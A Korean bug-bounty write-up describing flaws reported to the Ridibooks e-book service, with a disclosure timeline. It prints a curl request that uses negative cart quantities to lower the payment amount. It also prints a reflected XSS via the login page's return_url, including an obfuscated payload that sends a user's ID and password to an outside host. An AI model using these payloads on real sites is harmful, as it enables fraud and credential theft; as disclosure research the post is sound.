Table of Contents
Update
2019-06-15: Security Hall of Fame 페이지에 제 이름이 등재되었군요. 감사합니다!
Translation
This post is about vulnerabilities I've found on the Korean e-book service.
If you still want to read the post in English, you can use the translator.
최근 리디북스에서 버그바운티 페이지를 공개적으로 오픈하였습니다.
기존에도 보안 이슈에 관한 내용을 이메일을 통해 제보받고 있다가, 최근에 공개한 것으로 알려졌는데요.
리디북스 버그바운티에 대한 자세한 정보는 https://ridi.dev/bounty에서 확인하실 수 있습니다.
이번 글에서는 과거에 발생했던 취약점들에 대해 간략하게 소개하고자 합니다.
우선 저는 단편소설이나 심리에 관한 서적을 읽는걸 좋아해서 서점에서 종종 서적을 자주 구매하곤 하는데요.
사실 리디북스 취약점을 찾기 시작하게 된 계기도 책을 좀 사려고 찾던 도중 주변 분들로 부터 인터넷 서점을 소개받았습니다. 그 이후로 리디북스 e-book 리더기를 가져보고 싶다는 욕심이 생겼습니다.
이것저것 더 알아보던 중 리디북스 깃헙을 보게 되었고, 이메일을 통해 제보가 가능한 점을 확인하고 바로 도전하였습니다.
4개의 취약점을 발견하는데 3시간 정도 걸린듯 하고, 보상으로 리디 페이퍼 프로와 사례금 100만원을 받았습니다.
현재는 예전에 지급하던 보상 액수보다 더 주는 것으로 알고 있습니다.
만약 본인이 책 읽는 것을 좋아하는 해커라면 리디 바운티 프로그램을 강력추천합니다.
paper.ridibooks.com
도메인에서 발생하였던 버그인데요.
개발자가 할 수 있는 흔한 실수이기도 하지만, Cart에 제품 매수를 0미만의 값 (-1, -2, ...)을 넣어서 결제 금액을 차감시키는 버그였습니다
$ curl 'https://paper.ridibooks.com/Cart/setCartAjax' \
-H 'origin: https://paper.ridibooks.com' \
...
--data 'cart_type=1&com_prod_id=400000829&base_products%5BID-500009286%5D=-6' --compressed
위 명령어를 보시면 알겠지만, base_product를 추가시 갯수를 -6
으로 지정하여 금액을 차감시킬 수 있었습니다.
실제로 결제 버튼을 누르면 0 미만의 금액은 처리가 안되도록 구현 되어 있었기 때문에, 어느정도 잘 계산하여 최소한의 금액으로 원하는 제품을 살 수 있도록 수정하면 정상적으로 구매할 수 있습니다.
위와 같은 버그를 이용해 229000원에 판매하는 페이퍼 프로를 무려 4000원에 구매하였습니다. 케이스와 보호필름은 덤 ㅎㅎㅎ
실제로 정상적으로 결제되었고, 신청일 다음날 오전에 배송 담당자로부터 전화가 와서 마이너스 처리된 제품들을 제외하고 보내준다는 확인 전화를 받았었습니다.
이후 보안담당자분께 이메일로 관련 내용에 대해 확인했다는 내용을 전달받았으며, 긴급 이슈로 확인되어 바로 패치되었습니다.
물론 구매한 물건들에 대해서는 따로 터치하지 않고 발송해주셨습니다.
이틀내로 패치되었던 것으로 기억하는데, 생각보다 패치 기간이 긴 버그바운티 프로그램들에 비해 매우 빠른 편이라 많이 놀랐었습니다.
로그인 페이지에서 return_url
이라는 GET 인자를 이용해 로그인 후에 다른 페이지로 이동할 수 있도록 구현되어있는데.
로그인 페이지의 모든 기능은 자바스크립트로 처리된다는 점이 있었고,
실제로 로그인에 성공하면 location.href=(return_url의 값)
이 실행된다는 점이 있었습니다.
아래는 그때당시 로그인 성공시 실제로 처리되던 js 코드입니다.
...
success: function e() {
window.location.replace(this.returnUrl)
}
...
이를 통해 return_url
를 통해 스크립트 인젝션이 가능한데, 간단하게 아래와 같은 URL을 입력하면 사용자의 쿠키가 출력되지만,
https://ridibooks.com/account/login?return_url=javascript:alert(document.cookie);
반대로 이미 로그인한 유저의 경우 /alert(document.cookie);
로 이동되는 문제가 있었습니다.
또한 따옴표 사용이 안되는 점도 있어서 따옴표 없이 공격해야하는 점도 있었구요.
조금 더 weaponize를 시도하고자 아래와 같은 페이로드를 작성하였습니다.
id=document.getElementById(String.fromCharCode(108, 111, 103, 105, 110, 95, 105, 100)).value; <- login_id
pw=document.getElementById(String.fromCharCode(108, 111, 103, 105, 110, 95, 112, 119)).value; <- login_pw
new Image().src=String.fromCharCode(47, 47, 112, 119, 110, 46, 109, 111, 101, 47).concat(id).concat(String.fromCharCode(47)).concat(pw); <- 이미지 로드를 통해 공격자의 URL로 데이터 전송
location=String.fromCharCode(47, 118, 50, 47, 68, 101, 116, 97, 105, 108, 63, 105, 100, 61, 55, 55, 55, 48, 52, 56, 57, 53, 52); <- 일반 페이지로 이동
//../../v2/detail/(...) <- 만약 유저가 로그인 되어있을 경우 정상 페이지로 이동할 수 있도록 유도
위 스크립트를 합치면 아래와 같은 URL로 만들 수 있겠습니다.
https://ridibooks.com/account/login?return_url=javascript:id=document.getElementById(String.fromCharCode(108, 111, 103, 105, 110, 95, 105, 100)).value;pw=document.getElementById(String.fromCharCode(108, 111, 103, 105, 110, 95, 112, 119)).value;new Image().src=String.fromCharCode(47, 47, 112, 119, 110, 46, 109, 111, 101, 47).concat(id).concat(String.fromCharCode(47)).concat(pw);location=String.fromCharCode(47, 118, 50, 47, 68, 101, 116, 97, 105, 108, 63, 105, 100, 61, 55, 55, 55, 48, 52, 56, 57, 53, 52);//../../v2/Detail?id=777048954
로그인 하지 않은 사용자는 로그인을 하는 순간 계정 ID/PW가 탈취되면서 책 정보 페이지로 이동되며
이미 로그인한 사용자는 정상적인 페이지로 이동됩니다
내일 출근해야하므로 다음 기회에 더 올리겠습니다.. (?)
2018-12-20 15:41 - 1번째 버그 제보
2018-12-20 16:22 - 1번째 버그 확인, 패치 시작
2018-12-20 17:01 - 2번째 버그 제보
2018-12-20 18:25 - 3번째 버그 제보
2018-12-20 19:11 - 2번째, 3번째 버그 확인, 패치에 필요한 요소들 확인중
2018-12-22 15:19 - 4번째 버그 제보
2018-12-23 13:26 - 4번째 버그 확인, 1번 2번 버그 패치 완료
2018-12-27 13:07 - 모든 버그 패치 완료. 사례금 책정 완료.
2018-12-27 14:26 - 1번, 3번 버그 패치 우회되는 점 추가 제보
(2018년 전에 모든 버그 패치 완료 확인. 보상금은 연말에 입금되었음.)
2019-05-30 00:36 - 버그 disclose 요청
2019-05-30 12:03 - 버그 disclose 컨펌